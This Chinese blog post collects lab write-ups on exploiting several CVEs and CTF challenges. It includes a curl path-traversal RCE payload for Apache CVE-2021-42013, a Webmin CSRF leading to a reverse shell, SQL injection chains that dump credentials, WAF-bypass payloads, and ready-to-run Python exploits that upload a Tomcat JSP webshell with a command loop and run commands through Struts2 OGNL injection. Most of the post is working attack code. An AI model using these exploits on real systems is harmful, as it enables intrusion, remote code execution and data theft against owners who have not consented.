Mituan-极客时间-漏洞挖掘与智能攻防实战

11 分钟

前言

提示:这里可以添加本文要记录的大概内容:

例如:随着人工智能的不断发展,机器学习这门技术也越来越重要,很多人都开启了学习机器学习,本文就介绍了机器学习的基础内容。


提示:以下是本篇文章正文内容,下面案例可供参考

一、CVE-2009-4194

关于FTP的漏洞,FTP服务器中允许使用..遍历文件和删除任意文件,没连上它的FTP服务器。

二、CVE-2021-42013

对CVE-2021-41773的修复,但是修复并不完全,CVE-2021-41773因为会对请求的路径URL进行解码,导致.%2e会变成../导致了路径穿越漏洞,在CVE-2021-41773通过添加了.%2e和%2e%2e的校验弥补前面的漏洞,但是依旧会对路径进行URL的解码,因此可以通过两次编码绕过,对%2e再进行一次URL编码绕过。

payload:curl -v --data "echo;执行的命令" 'http://52.81.18.254:80/cgi-
bin/icons/.%%32e/.%%32e/.%%32e/.%%32e/.%%32e/.%%32e/.%%32e/bin/bash'

通过向bin/bash命令传送数据,输出返回的详细信息。

二、CVE-2021-31760

webmin主要是一个web页面的系统管理工具,通过web页面管理linux系统上的文件。

CSRF跨站请求伪造,主要是管理员root在登录了页面的情况下,未退出,点开了攻击者构造的页面,导致了shell的执行。

POC下载:https://github.com/electronicbots/CVE-2021-31760,由于没有公网的Linux,内网自己搭建了webmin。

启动了POC后,将生成的CSRF_POC.html页面上传到目标机,管理员点开了伪造的页面后,会收到反弹shell,点开页面后会跳转到/proc/run.cgi/,收到shell反弹。

POC分析:

POC中有1-5个选项,选择不同的反弹shell的方式,根据目标机情况选定,一般选择bash。根据我们填入的IP生成反弹shell语句,填入构造的POST请求页面中,向目标机的/proc/run.cgi页面提交数据,导致了Shell的反弹,/proc/run.cgi是webmin中的一个能运行进程或命令的页面。假如管理员登录了未退出,则导致了CSRF。

三、RSA - 低加密指数攻击

ssh直接登录,发现有个zip文件,解压后有公钥和py文件,先解析公钥



from Crypto.PublicKey import RSA
from base64 import b64decode
public_key="MIICIDANBgkqhkiG9w0BAQEFAAOCAg0AMIICCAKCAgEAsL7l4+nlp+jQC0kzVcYY/Ix9fQO4LkCZUcGC85je4xBFgOe6cNODrlMRR1ZW6Klk04DLFX9IyVGt+mXbCxIspA5C+nCRibcZpPDXRuL2BpuvEc69ZQ8UuTyXc1L9E7Huptbh2ndVAqv/idOos2Ff0NtJuIqXa8IFaEiShOGB9vEeJwiRyO+AAXutI442MDmkWEcPF0kQG8KZSdOk9AONRjk4hRV5x1JaaZhPFbVmfzQgm3DrJhE2lH+hI+VJ3/8AYBiDr9k2/kEeAG5Ok9GgCw/qVBu/yMUYbLYiBQOpSyQTEQ1kDHfqVLoyIPyPTMbOdxUeKbPgZXjEeL0b6+BFie+aGX9vgG24s+zYJsrST1MkzN7G6P6tLCFQBoYCyNzcWUAsyslCS3kASMzdkycGgJXvoBC38ZbHS6jDexKPnhQRdRYz94t7nlb3H3ehtNqtP8VLXn75NdmnL7F2dZdlUitLvALjFNXAa2TVBUt7CWxgEjbmzPRbXmEcgF0zXbqww10ibMII2M5HNro5oDVEJvrgBsf+UtUmfc+5w4hPUf3f30qXlLz+DhVXETdJ5sjvQh26Jjr/aHOc4A7YD9ACLvktNIj3betive976mAm8iodJaoqktEkQUqAIf4MF0uYA+a7X6114YapRqFygHcPEkP0OHRGzM6yIiqWXMMLOSkCAQM="
keyDER = b64decode(public_key)
print(keyDER)
keyPub = RSA.importKey(keyDER)
print(keyPub.n,keyPub.e)    #读取到e为3,和n

解析到e=3很小,因为e很小,
m=c^emod(n),因为完全可以在知道c的情况下,通过开三次方根(c+k*n)的形式爆破m。这里爆破到k为118719488


import os, time
import gmpy2
from Crypto.PublicKey.RSA import RsaKey


def main():
    start_time = 0
    c_time = 0

    n = 721059527572145959497866070657244746540818298735241721382435892767279354577831824618770455583435147844630635953460258329387406192598509097375098935299515255208445013180388186216473913754107215551156731413550416051385656895153798495423962750773689964815342291306243827028882267935999927349370340823239030087548468521168519725061290069094595524921012137038227208900579645041589141405674545883465785472925889948455146449614776287566375730215127615312001651111977914327170496695481547965108836595145998046638495232893568434202438172004892803105333017726958632541897741726563336871452837359564555756166187509015523771005760534037559648199915268764998183410394036820824721644946933656264441126738697663216138624571035323231711566263476403936148535644088575960271071967700560360448191493328793704136810376879662623765917690163480410089565377528947433177653458111431603202302962218312038109342064899388130688144810901340648989107010954279327738671710906115976561154622625847780945535284376248111949506936128229494332806622251145622565895781480383025403043645862516504771643210000415216199272423542871886181906457361118669629044165861299560814450960273479900717138570739601887771447529543568822851100841225147694940195217298482866496536787241
    k = 0
    c_path = os.getcwd()
    fname = c_path + "/flag.enc"  # 读取私钥

    print(fname)  # 输出路径

    f = open(fname, 'rb')
    c = f.read()
    c_num = int.from_bytes(c, byteorder='big')  # big意思是顺着,little为逆序,将字节流c转为整数

    mod_num = c_num % n  # 整数c_num整除n   mod=flagmod(n)

    print('n = ' + str(n))  # 输出n
    print('mod = ' + str(mod_num))  # 输出mod_num 即整除n后的数,简单来说就是c

    start_time = int(time.time())  # 记录开始当前时间,是个整数,如1665901917

    # 开始低指数e的爆破
    while True:

        c_time = int(time.time())  # 记录当前时间
        time_pass = c_time - start_time  # 时间差
        if (c_time - start_time) == 10:  # 每过十秒输出一次k
            print("current k: " + str(k))
            start_time = c_time  # 把记录的当前时间转为开始时间

        y = k * n + mod_num  #
        root_num, status = gmpy2.iroot(y, 3)  # y开三次方根 e=3,

        if status == 1:  # 开根成功则代表爆破成功
            break
        else:  # 不成功则k+1
            k = k + 1
    print('plain_text = ' + str(root_num))  # 输出 开3次方根的值,即明文m


if __name__ == "__main__":
    main()

这里即使e很小,但是爆破到的k也达到了亿级别,假如k从1开始爆破,可能速度根本不够,感觉得需要通过利用多进程来加快爆破的速度。

四、CVE-2021-42574

cve-2021-42574主要是指编码引起的错误,
比如说Unicode为了更好的兼容不同的语言,引入了双向的显示顺序,一般是从左到右,也有从右到左,垂直书写等等。这种特性使出现双向文本时,由于顺序不确定,出现了歧义,从而被利用,引入定向格式符即可解决。

靶机的80端口:



";
$str= isset($_GET['str']) ? $_GET['str'] :'';
echo '$_GET["str"] =   ';
echo "$str";

echo "";
$u=addslashes($str) ;
echo 'echo addslashes($str)= ';
echo "$u";
echo "";

$sql= "select * from user where user='$u'";
echo 'method : select * from user where user="addslashes($str)"';
echo "";
echo "

real : $sql 

";
echo "";
?>
用的是gbk编码,很明显是宽字节的问题,
虽然反斜杠会转移引号防止注入,但是gbk编码中,斜杠跟一些编码如%df组合的时,会变成繁体字,如連,编码问题导致了漏洞。

又如靶机的22端口:



int main() {
    bool isAdmin = false;
    /*RLO } LRIif (isAdmin)PDI LRI begin admins only */
        printf("You are an admin.\n");
    /* end admins only RLO { LRI*/
    return 0;
}

假如编译器看不到Unicode的隐藏字符,那么代码看起来是这样:



int main() {
    bool isAdmin = false;
    if (isAdmin)
        printf("You are an admin.\n");
    return 0;
}

五、忘记加“盐”:加密结果强度不够吗?

通过sql注入可以注出用户名和密码。



mituan' union select 1,2#
mituan' union select database(),2#  数据库ctf
mituan' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# 表emails,referers,uagents,users
mituan' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#  字段id,password,salary,username
mituan' union select 1,group_concat(password,salary,username) from users#   爆出2b161cb042f799e5f43ae6efc9e57926success!Dumb

一般linux用户的密码存放在shadow文件中,用的hash加密,salt没加,或者salt太简单,容易被爆破解开。

六、reDos

其实这里只是像告诉我们关于正则表达式的拒绝服务攻击,假如使用正则表达式时存在缺陷,就可能构造字符串大量消耗系统资源,造成服务中断或者绕过某些东西。

知识:关于正则表达式的引擎

DFA:
从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入,比如说文本/aiwinstronger/,正则表达式是/aiwin|aiwinstrong/,第一个正则表达式时,会匹配完aiwin,然后放掉第一个正则表达式,开始第二个子正则表达式,直到子正则表达式吃完,匹配到aiwinstronger。

NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态,比如说文本/aiwinstronger/,正则表达式是/aiwin|aiwinstrong/,进行第一个正则表达式时,匹配到s字符,发现匹配不上了,于是吐出s字符,不再进行第二个子表达式,直接就匹配到结果为aiwin。

由于NFA的执行过程存在回溯,所以其性能会劣于DFA,因此ReDos常发生于NFA引擎,但它支持更多功能。大多数程序语言都使用了NFA作为正则引擎,其中也包括PHP使用的PCRE库。

如:[NISACTF 2022]middlerce



|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
        die("再加把油喔");
    }
    else{
        $command = json_decode($txw4ever,true)['cmd'];
        checkdata($command);
        @eval($command);
    }
}
else{
    highlight_file(__FILE__);
}
?>
题中开始就.贪婪匹配后再匹配括号里的字符,最后再使用.贪婪匹配掉剩余的所有字符串,关

七、安全狗



1' order /*//--/*/ by 2 #  2个字段
-1' union /*//------/*/select 1,2 #
-1' union /*//------/*/select 1,database/*//------/*/() #  数据库dvwa


剩下的没绕出来,真没绕明白,要是有绕出来的,求私聊

八、命令注入

用|、&、&&都可以,应该是没有进行过滤,直接system(),但是第一个命令直接输出字符串。

九、CVE-2017-12615

漏洞影响的版本号为7.0.0-7.0.79,主要是因为配置不当造成的,conf/web.xml中readonly的值被设置成了false,导致PUT方法可用,虽然Tomcat会校验上传文件拒绝.jsp文件的后缀,但是linux平台下可以使用/绕过,Windows平台下可以用::$DATA绕过。

EXP如下:



import requests
import os

session = requests.Session()
# 写入shell.jsp文件中
url = 'http://39fa04c7e3a447cd8981f40ce6e1f08b.app.mituan.zone:8080/shell.jsp'
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0",
           "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
           "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
           "Accept-Encoding": "gzip, deflate",
           "Content-Type": "application/x-www-form-urlencoded"}

# 通过<%%>表示将包裹的内容写入jsp文件中,获取pwd参数等于aiwin并且获取i参数,将i的值使用exec()进行命令执行,并通过javaIO流输入b中,输出到页面
body = """
<%
    if("aiwin".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("


");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("

"); } %> """ # 记得/ url/shell.jsp/ 绕过jsp的检测 resp = session.put(url + "/",
headers=headers, data=body) if resp.status_code == 201 or resp.status_code ==
204: print("上传成功") else: print("上传失败") exit() while True: command =
input("输入要执行的命令") command_url = url + f"?pwd=aiwin&i;={command}" command_resp
= session.get(command_url, headers=headers) print("得到结果:", command_resp.text)
`

十、CVE-2017-5638

Struts2远程代码执行漏洞,漏洞源于Content-
Type头被注入了OGNL语言,然后对错误信息处理时不恰当,导致的漏洞,大概就是上传非法的Content-Type时,commons-
fileupload组件抛出了异常,异常信息中有而已制作的字符串,并且异常信息的内容被解析,导致了命令执行。


if (request instanceof StrutsRequestWrapper) {  
    return request;
}
String content_type = request.getContentType();  
if (content_type != null && content_type.contains("multipart/form-data")) 
{ 
    MultiPartRequest mpr = getMultiPartRequest();
    LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
    request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider);
} else {
    request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
}
return request;

对content_type进行判断,假如是post表单,则默认返回JakartaMultiPartRequest类,然后进入解析Content-
Type时,会进入LocalizedTextUtil.findText(),就会处理error信息,造成了命令执行。

EXP如下:



import requests
from urllib3 import encode_multipart_formdata


def poc(url, command):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Accept-Encoding": "gzip,deflate",
        "Cookie": "JSESSIONID = F9D372CF95E792ECDDB1EE55AC5D9EC6",
        "Content-Type": "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))." + f"(#cmd='{command}')." + "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}}",
    }
    f = open('1.txt', 'rb').read()
    file = {
        "upload": ("1.txt", f),
        "caption": 'Hello'
    }
    encode_data = encode_multipart_formdata(file)
    resp = requests.post(url, headers=headers, data=encode_data[0])
    print(resp.text)


if __name__ == '__main__':
    url = 'http://55177b366f014befa09d11bf36d060be.app.mituan.zone:8080/fileupload/upload.action'
    command = 'ls /'
    poc(url, command)

总结

提示:这里对文章进行总结:
例如:以上就是今天要讲的内容,本文仅仅简单介绍了pandas的使用,而pandas提供了大量能使我们快速便捷地处理数据的函数和方法。

~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
(*) 2 + 8 =
快来做第一个评论的人吧~